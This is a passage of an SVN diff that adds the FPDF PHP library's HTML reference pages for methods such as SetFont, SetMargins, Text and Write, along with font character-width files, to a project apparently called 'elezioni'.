+<code>SetFillColor(<b>int</b> r [, <b>int</b> g, <b>int</b> b])</code>
+<h2>Description</h2>
+Defines the color used for all filling operations (filled rectangles and cell backgrounds).
+It can be expressed in RGB components or gray scale. The method can be called before the first
+page is created and the value is retained from page to page.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>r</code></dt>
+<dd>
+If <code>g</code> and <code>b</code> are given, red component; if not, indicates the gray level.
+Value between 0 and 255.
+</dd>
+<dt><code>g</code></dt>
+<dd>
+Green component (between 0 and 255).
+</dd>
+<dt><code>b</code></dt>
+<dd>
+Blue component (between 0 and 255).
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setdrawcolor.htm">SetDrawColor()</a>,
+<a href="settextcolor.htm">SetTextColor()</a>,
+<a href="rect.htm">Rect()</a>,
+<a href="cell.htm">Cell()</a>,
+<a href="multicell.htm">MultiCell()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setfont.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setfont.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setfont.htm	(revision 44)
@@ -0,0 +1,92 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetFont</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetFont</h1>
+<code>SetFont(<b>string</b> family [, <b>string</b> style [, <b>float</b> size]])</code>
+<h2>Description</h2>
+Sets the font used to print character strings. It is mandatory to call this method
+at least once before printing text or the resulting document would not be valid.
+<br>
+The font can be either a standard one or a font added via the AddFont() method. Standard fonts
+use Windows encoding cp1252 (Western Europe).
+<br>
+The method can be called before the first page is created and the font is retained from page
+to page.
+<br>
+If you just wish to change the current font size, it is simpler to call SetFontSize().
+<br>
+<br>
+<strong>Note:</strong> the font metric files must be accessible. They are searched successively in:
+<ul>
+<li>The directory defined by the <code>FPDF_FONTPATH</code> constant (if this constant is defined)</li>
+<li>The <code>font</code> directory located in the directory containing <code>fpdf.php</code> (if it exists)</li>
+<li>The directories accessible through <code>include()</code></li>
+</ul>
+Example defining <code>FPDF_FONTPATH</code> (note the mandatory trailing slash):
+<div class="doc-source">
+<pre><code>define('FPDF_FONTPATH','/home/www/font/');
+require('fpdf.php');</code></pre>
+</div>
+If the file corresponding to the requested font is not found, the error "Could not include
+font metric file" is issued.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>family</code></dt>
+<dd>
+Family font. It can be either a name defined by AddFont() or one of the standard families (case
+insensitive):
+<ul>
+<li><code>Courier</code> (fixed-width)</li>
+<li><code>Helvetica</code> or <code>Arial</code> (synonymous; sans serif)</li>
+<li><code>Times</code> (serif)</li>
+<li><code>Symbol</code> (symbolic)</li>
+<li><code>ZapfDingbats</code> (symbolic)</li>
+</ul>
+It is also possible to pass an empty string. In that case, the current family is retained.
+</dd>
+<dt><code>style</code></dt>
+<dd>
+Font style. Possible values are (case insensitive):
+<ul>
+<li>empty string: regular</li>
+<li><code>B</code>: bold</li>
+<li><code>I</code>: italic</li>
+<li><code>U</code>: underline</li>
+</ul>
+or any combination. The default value is regular.
+Bold and italic styles do not apply to <code>Symbol</code> and <code>ZapfDingbats</code>.
+</dd>
+<dt><code>size</code></dt>
+<dd>
+Font size in points.
+<br>
+The default value is the current size. If no size has been specified since the beginning of
+the document, the value taken is 12.
+</dd>
+</dl>
+<h2>Example</h2>
+<div class="doc-source">
+<pre><code>//Times regular 12
+$pdf-&gt;SetFont('Times');
+//Arial bold 14
+$pdf-&gt;SetFont('Arial','B',14);
+//Removes bold
+$pdf-&gt;SetFont('');
+//Times bold, italic and underlined 14
+$pdf-&gt;SetFont('Times','BIU');</code></pre>
+</div>
+<h2>See also</h2>
+<a href="addfont.htm">AddFont()</a>,
+<a href="setfontsize.htm">SetFontSize()</a>,
+<a href="cell.htm">Cell()</a>,
+<a href="multicell.htm">MultiCell()</a>,
+<a href="write.htm">Write()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setfontsize.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setfontsize.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setfontsize.htm	(revision 44)
@@ -0,0 +1,25 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetFontSize</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetFontSize</h1>
+<code>SetFontSize(<b>float</b> size)</code>
+<h2>Description</h2>
+Defines the size of the current font.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>size</code></dt>
+<dd>
+The size (in points).
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setfont.htm">SetFont()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setkeywords.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setkeywords.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setkeywords.htm	(revision 44)
@@ -0,0 +1,33 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetKeywords</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetKeywords</h1>
+<code>SetKeywords(<b>string</b> keywords [, <b>boolean</b> isUTF8])</code>
+<h2>Description</h2>
+Associates keywords with the document, generally in the form 'keyword1 keyword2 ...'.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>keywords</code></dt>
+<dd>
+The list of keywords.
+</dd>
+<dt><code>isUTF8</code></dt>
+<dd>
+Indicates if the string is encoded in ISO-8859-1 (<code>false</code>) or UTF-8 (<code>true</code>).<br>
+Default value: <code>false</code>.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setauthor.htm">SetAuthor()</a>,
+<a href="setcreator.htm">SetCreator()</a>,
+<a href="setsubject.htm">SetSubject()</a>,
+<a href="settitle.htm">SetTitle()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setleftmargin.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setleftmargin.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setleftmargin.htm	(revision 44)
@@ -0,0 +1,30 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetLeftMargin</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetLeftMargin</h1>
+<code>SetLeftMargin(<b>float</b> margin)</code>
+<h2>Description</h2>
+Defines the left margin. The method can be called before creating the first page.
+<br>
+If the current abscissa gets out of page, it is brought back to the margin.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>margin</code></dt>
+<dd>
+The margin.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="settopmargin.htm">SetTopMargin()</a>,
+<a href="setrightmargin.htm">SetRightMargin()</a>,
+<a href="setautopagebreak.htm">SetAutoPageBreak()</a>,
+<a href="setmargins.htm">SetMargins()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setlinewidth.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setlinewidth.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setlinewidth.htm	(revision 44)
@@ -0,0 +1,29 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetLineWidth</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetLineWidth</h1>
+<code>SetLineWidth(<b>float</b> width)</code>
+<h2>Description</h2>
+Defines the line width. By default, the value equals 0.2 mm. The method can be called before
+the first page is created and the value is retained from page to page.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>width</code></dt>
+<dd>
+The width.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="line.htm">Line()</a>,
+<a href="rect.htm">Rect()</a>,
+<a href="cell.htm">Cell()</a>,
+<a href="multicell.htm">MultiCell()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setlink.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setlink.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setlink.htm	(revision 44)
@@ -0,0 +1,34 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetLink</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetLink</h1>
+<code>SetLink(<b>int</b> link [, <b>float</b> y [, <b>int</b> page]])</code>
+<h2>Description</h2>
+Defines the page and position a link points to.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>link</code></dt>
+<dd>
+The link identifier returned by AddLink().
+</dd>
+<dt><code>y</code></dt>
+<dd>
+Ordinate of target position; <code>-1</code> indicates the current position.
+The default value is <code>0</code> (top of page).
+</dd>
+<dt><code>page</code></dt>
+<dd>
+Number of target page; <code>-1</code> indicates the current page. This is the default value.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="addlink.htm">AddLink()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setmargins.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setmargins.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setmargins.htm	(revision 44)
@@ -0,0 +1,37 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetMargins</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetMargins</h1>
+<code>SetMargins(<b>float</b> left, <b>float</b> top [, <b>float</b> right])</code>
+<h2>Description</h2>
+Defines the left, top and right margins. By default, they equal 1 cm. Call this method to change
+them.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>left</code></dt>
+<dd>
+Left margin.
+</dd>
+<dt><code>top</code></dt>
+<dd>
+Top margin.
+</dd>
+<dt><code>right</code></dt>
+<dd>
+Right margin. Default value is the left one.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setleftmargin.htm">SetLeftMargin()</a>,
+<a href="settopmargin.htm">SetTopMargin()</a>,
+<a href="setrightmargin.htm">SetRightMargin()</a>,
+<a href="setautopagebreak.htm">SetAutoPageBreak()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setrightmargin.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setrightmargin.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setrightmargin.htm	(revision 44)
@@ -0,0 +1,28 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetRightMargin</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetRightMargin</h1>
+<code>SetRightMargin(<b>float</b> margin)</code>
+<h2>Description</h2>
+Defines the right margin. The method can be called before creating the first page.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>margin</code></dt>
+<dd>
+The margin.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setleftmargin.htm">SetLeftMargin()</a>,
+<a href="settopmargin.htm">SetTopMargin()</a>,
+<a href="setautopagebreak.htm">SetAutoPageBreak()</a>,
+<a href="setmargins.htm">SetMargins()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setsubject.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setsubject.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setsubject.htm	(revision 44)
@@ -0,0 +1,33 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetSubject</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetSubject</h1>
+<code>SetSubject(<b>string</b> subject [, <b>boolean</b> isUTF8])</code>
+<h2>Description</h2>
+Defines the subject of the document.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>subject</code></dt>
+<dd>
+The subject.
+</dd>
+<dt><code>isUTF8</code></dt>
+<dd>
+Indicates if the string is encoded in ISO-8859-1 (<code>false</code>) or UTF-8 (<code>true</code>).<br>
+Default value: <code>false</code>.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setauthor.htm">SetAuthor()</a>,
+<a href="setcreator.htm">SetCreator()</a>,
+<a href="setkeywords.htm">SetKeywords()</a>,
+<a href="settitle.htm">SetTitle()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/settextcolor.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/settextcolor.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/settextcolor.htm	(revision 44)
@@ -0,0 +1,40 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetTextColor</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetTextColor</h1>
+<code>SetTextColor(<b>int</b> r [, <b>int</b> g, <b>int</b> b])</code>
+<h2>Description</h2>
+Defines the color used for text. It can be expressed in RGB components or gray scale. The
+method can be called before the first page is created and the value is retained from page to
+page.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>r</code></dt>
+<dd>
+If <code>g</code> et <code>b</code> are given, red component; if not, indicates the gray level.
+Value between 0 and 255.
+</dd>
+<dt><code>g</code></dt>
+<dd>
+Green component (between 0 and 255).
+</dd>
+<dt><code>b</code></dt>
+<dd>
+Blue component (between 0 and 255).
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setdrawcolor.htm">SetDrawColor()</a>,
+<a href="setfillcolor.htm">SetFillColor()</a>,
+<a href="text.htm">Text()</a>,
+<a href="cell.htm">Cell()</a>,
+<a href="multicell.htm">MultiCell()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/settitle.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/settitle.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/settitle.htm	(revision 44)
@@ -0,0 +1,33 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetTitle</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetTitle</h1>
+<code>SetTitle(<b>string</b> title [, <b>boolean</b> isUTF8])</code>
+<h2>Description</h2>
+Defines the title of the document.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>title</code></dt>
+<dd>
+The title.
+</dd>
+<dt><code>isUTF8</code></dt>
+<dd>
+Indicates if the string is encoded in ISO-8859-1 (<code>false</code>) or UTF-8 (<code>true</code>).<br>
+Default value: <code>false</code>.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setauthor.htm">SetAuthor()</a>,
+<a href="setcreator.htm">SetCreator()</a>,
+<a href="setkeywords.htm">SetKeywords()</a>,
+<a href="setsubject.htm">SetSubject()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/settopmargin.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/settopmargin.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/settopmargin.htm	(revision 44)
@@ -0,0 +1,28 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetTopMargin</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetTopMargin</h1>
+<code>SetTopMargin(<b>float</b> margin)</code>
+<h2>Description</h2>
+Defines the top margin. The method can be called before creating the first page.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>margin</code></dt>
+<dd>
+The margin.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setleftmargin.htm">SetLeftMargin()</a>,
+<a href="setrightmargin.htm">SetRightMargin()</a>,
+<a href="setautopagebreak.htm">SetAutoPageBreak()</a>,
+<a href="setmargins.htm">SetMargins()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setx.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setx.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setx.htm	(revision 44)
@@ -0,0 +1,29 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetX</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetX</h1>
+<code>SetX(<b>float</b> x)</code>
+<h2>Description</h2>
+Defines the abscissa of the current position. If the passed value is negative, it is relative
+to the right of the page.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>x</code></dt>
+<dd>
+The value of the abscissa.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="getx.htm">GetX()</a>,
+<a href="gety.htm">GetY()</a>,
+<a href="sety.htm">SetY()</a>,
+<a href="setxy.htm">SetXY()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setxy.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setxy.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/setxy.htm	(revision 44)
@@ -0,0 +1,31 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetXY</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetXY</h1>
+<code>SetXY(<b>float</b> x, <b>float</b> y)</code>
+<h2>Description</h2>
+Defines the abscissa and ordinate of the current position. If the passed values are negative,
+they are relative respectively to the right and bottom of the page.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>x</code></dt>
+<dd>
+The value of the abscissa.
+</dd>
+<dt><code>y</code></dt>
+<dd>
+The value of the ordinate.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setx.htm">SetX()</a>,
+<a href="sety.htm">SetY()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/sety.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/sety.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/sety.htm	(revision 44)
@@ -0,0 +1,29 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>SetY</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>SetY</h1>
+<code>SetY(<b>float</b> y)</code>
+<h2>Description</h2>
+Moves the current abscissa back to the left margin and sets the ordinate. If the passed value
+is negative, it is relative to the bottom of the page.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>y</code></dt>
+<dd>
+The value of the ordinate.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="getx.htm">GetX()</a>,
+<a href="gety.htm">GetY()</a>,
+<a href="setx.htm">SetX()</a>,
+<a href="setxy.htm">SetXY()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/text.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/text.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/text.htm	(revision 44)
@@ -0,0 +1,39 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Text</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Text</h1>
+<code>Text(<b>float</b> x, <b>float</b> y, <b>string</b> txt)</code>
+<h2>Description</h2>
+Prints a character string. The origin is on the left of the first character, on the baseline.
+This method allows to place a string precisely on the page, but it is usually easier to use
+Cell(), MultiCell() or Write() which are the standard methods to print text.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>x</code></dt>
+<dd>
+Abscissa of the origin.
+</dd>
+<dt><code>y</code></dt>
+<dd>
+Ordinate of the origin.
+</dd>
+<dt><code>txt</code></dt>
+<dd>
+String to print.
+</dd>
+</dl>
+<h2>See also</h2>
+<a href="setfont.htm">SetFont()</a>,
+<a href="settextcolor.htm">SetTextColor()</a>,
+<a href="cell.htm">Cell()</a>,
+<a href="multicell.htm">MultiCell()</a>,
+<a href="write.htm">Write()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/write.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/write.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/doc/write.htm	(revision 44)
@@ -0,0 +1,51 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Write</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Write</h1>
+<code>Write(<b>float</b> h, <b>string</b> txt [, <b>mixed</b> link])</code>
+<h2>Description</h2>
+This method prints text from the current position. When the right margin is reached (or the \n
+character is met) a line break occurs and text continues from the left margin. Upon method exit,
+the current position is left just at the end of the text.
+<br>
+It is possible to put a link on the text.
+<h2>Parameters</h2>
+<dl class="param">
+<dt><code>h</code></dt>
+<dd>
+Line height.
+</dd>
+<dt><code>txt</code></dt>
+<dd>
+String to print.
+</dd>
+<dt><code>link</code></dt>
+<dd>
+URL or identifier returned by AddLink().
+</dd>
+</dl>
+<h2>Example</h2>
+<div class="doc-source">
+<pre><code>//Begin with regular font
+$pdf-&gt;SetFont('Arial','',14);
+$pdf-&gt;Write(5,'Visit ');
+//Then put a blue underlined link
+$pdf-&gt;SetTextColor(0,0,255);
+$pdf-&gt;SetFont('','U');
+$pdf-&gt;Write(5,'www.fpdf.org','http://www.fpdf.org');</code></pre>
+</div>
+<h2>See also</h2>
+<a href="setfont.htm">SetFont()</a>,
+<a href="settextcolor.htm">SetTextColor()</a>,
+<a href="addlink.htm">AddLink()</a>,
+<a href="multicell.htm">MultiCell()</a>,
+<a href="setautopagebreak.htm">SetAutoPageBreak()</a>.
+<hr style="margin-top:1.5em">
+<div style="text-align:center"><a href="index.htm">Index</a></div>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/courier.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/courier.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/courier.php	(revision 44)
@@ -0,0 +1,7 @@
+<?php
+for($i=0;$i<=255;$i++)
+	$fpdf_charwidths['courier'][chr($i)]=600;
+$fpdf_charwidths['courierB']=$fpdf_charwidths['courier'];
+$fpdf_charwidths['courierI']=$fpdf_charwidths['courier'];
+$fpdf_charwidths['courierBI']=$fpdf_charwidths['courier'];
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helvetica.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helvetica.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/helvetica.php	(revision 44)
@@ -0,0 +1,15 @@
+<?php
+$fpdf_charwidths['helvetica']=array(
+	chr(0)=>278,chr(1)=>278,chr(2)=>278,chr(3)=>278,chr(4)=>278,chr(5)=>278,chr(6)=>278,chr(7)=>278,chr(8)=>278,chr(9)=>278,chr(10)=>278,chr(11)=>278,chr(12)=>278,chr(13)=>278,chr(14)=>278,chr(15)=>278,chr(16)=>278,chr(17)=>278,chr(18)=>278,chr(19)=>278,chr(20)=>278,chr(21)=>278,
+	chr(22)=>278,chr(23)=>278,chr(24)=>278,chr(25)=>278,chr(26)=>278,chr(27)=>278,chr(28)=>278,chr(29)=>278,chr(30)=>278,chr(31)=>278,' '=>278,'!'=>278,'"'=>355,'#'=>556,'$'=>556,'%'=>889,'&'=>667,'\''=>191,'('=>333,')'=>333,'*'=>389,'+'=>584,
+	','=>278,'-'=>333,'.'=>278,'/'=>278,'0'=>556,'1'=>556,'2'=>556,'3'=>556,'4'=>556,'5'=>556,'6'=>556,'7'=>556,'8'=>556,'9'=>556,':'=>278,';'=>278,'<'=>584,'='=>584,'>'=>584,'?'=>556,'@'=>1015,'A'=>667,
+	'B'=>667,'C'=>722,'D'=>722,'E'=>667,'F'=>611,'G'=>778,'H'=>722,'I'=>278,'J'=>500,'K'=>667,'L'=>556,'M'=>833,'N'=>722,'O'=>778,'P'=>667,'Q'=>778,'R'=>722,'S'=>667,'T'=>611,'U'=>722,'V'=>667,'W'=>944,
+	'X'=>667,'Y'=>667,'Z'=>611,'['=>278,'\\'=>278,']'=>278,'^'=>469,'_'=>556,'`'=>333,'a'=>556,'b'=>556,'c'=>500,'d'=>556,'e'=>556,'f'=>278,'g'=>556,'h'=>556,'i'=>222,'j'=>222,'k'=>500,'l'=>222,'m'=>833,
+	'n'=>556,'o'=>556,'p'=>556,'q'=>556,'r'=>333,'s'=>500,'t'=>278,'u'=>556,'v'=>500,'w'=>722,'x'=>500,'y'=>500,'z'=>500,'{'=>334,'|'=>260,'}'=>334,'~'=>584,chr(127)=>350,chr(128)=>556,chr(129)=>350,chr(130)=>222,chr(131)=>556,
+	chr(132)=>333,chr(133)=>1000,chr(134)=>556,chr(135)=>556,chr(136)=>333,chr(137)=>1000,chr(138)=>667,chr(139)=>333,chr(140)=>1000,chr(141)=>350,chr(142)=>611,chr(143)=>350,chr(144)=>350,chr(145)=>222,chr(146)=>222,chr(147)=>333,chr(148)=>333,chr(149)=>350,chr(150)=>556,chr(151)=>1000,chr(152)=>333,chr(153)=>1000,
